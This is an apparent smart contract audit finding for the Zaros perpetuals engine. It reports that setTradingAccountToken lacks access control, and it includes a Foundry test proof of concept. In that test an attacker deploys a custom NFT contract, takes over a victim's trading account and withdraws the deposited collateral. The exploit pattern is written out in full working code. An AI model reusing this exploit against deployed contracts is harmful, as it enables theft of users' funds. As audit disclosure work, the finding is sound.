HIGH severity: Attacker can steal user deposited collateral tokens by updating account nft token to a custom attack contract address. **Description:** `GlobalConfigurationBranch.setTradingAccountToken` has [no access control](https://github.com/zaros-labs/zaros-core-audit/blob/de09d030c780942b70f1bebcb2d245214144acd2/src/perpetuals/branches/GlobalConfigurationBranch.sol#L147-L153) meaning an attacker could update the account nft.....

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;

// Zaros dependencies
import { Errors } from "@zaros/utils/Errors.sol";
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";

// @audit used for attack contract
import { ERC721, ERC721Enumerable } from "@openzeppelin/token/ERC721/extensions/ERC721Enumerable.sol";
import { IPerpsEngine } from "@zaros/perpetuals/PerpsEngine.sol";

contract AttackerAccountNFT is ERC721Enumerable {
    constructor() ERC721("", "") { }

    function stealAccount(address perpsEngineAddr, uint128 tokenId) external {
        // @audit mint attacker the requested tokenId
        _mint(msg.sender, tokenId);

        // @audit call perps engine to transfer account to attacker
        IPerpsEngine perpsEngine = IPerpsEngine(perpsEngineAddr);
        perpsEngine.notifyAccountTransfer(msg.sender, tokenId);
    }
}

contract StealMargin_Integration_Test is Base_Test {
    function setUp() public override {
        Base_Test.setUp();
    }

    function test_AttackerStealsUserCollateral() external {
        // @audit naruto the victim will create an account and deposit
        uint256 amountToDeposit = 10 ether;
        deal({ token: address(usdToken), to: users.naruto, give: amountToDeposit });

        uint128 victimTradingAccountId = perpsEngine.createTradingAccount();

        // it should emit {LogDepositMargin}
        vm.expectEmit({ emitter: address(perpsEngine) });
        emit TradingAccountBranch.LogDepositMargin(
            users.naruto, victimTradingAccountId, address(usdToken), amountToDeposit
        );

        // it should transfer the amount from the sender to the trading account
        expectCallToTransferFrom(usdToken, users.naruto, address(perpsEngine), amountToDeposit);
        perpsEngine.depositMargin(victimTradingAccountId, address(usdToken), amountToDeposit);

        uint256 newMarginCollateralBalance =
            perpsEngine.getAccountMarginCollateralBalance(victimTradingAccountId, address(usdToken)).intoUint256();

        // it should increase the amount of margin collateral
        assertEq(newMarginCollateralBalance, amountToDeposit, "depositMargin");

        // @audit sasuke the attacker will steal naruto's deposit
        // beginning state: theft has not occured
        assertEq(0, usdToken.balanceOf(users.sasuke));
        //
        // @audit 1) sasuke creates their own hacked `AccountNFT` contract
        vm.startPrank(users.sasuke);
        AttackerAccountNFT attackerNftContract = new AttackerAccountNFT();

        // @audit 2) sasuke uses lack of access control to make their
        // hacked `AccountNFT` contract the official contract
        perpsEngine.setTradingAccountToken(address(attackerNftContract));

        // @audit 3) sasuke calls the attack function in their hacked `AccountNFT`
        // contract to steal ownership of the victim's account
        attackerNftContract.stealAccount(address(perpsEngine), victimTradingAccountId);

        // @audit 4) sasuke withdraws the victim's collateral
        perpsEngine.withdrawMargin(victimTradingAccountId, address(usdToken), amountToDeposit);
        vm.stopPrank();

        // @audit end state: sasuke has stolen the victim's deposited collateral
        assertEq(amountToDeposit, usdToken.balanceOf(users.sasuke));
    }
}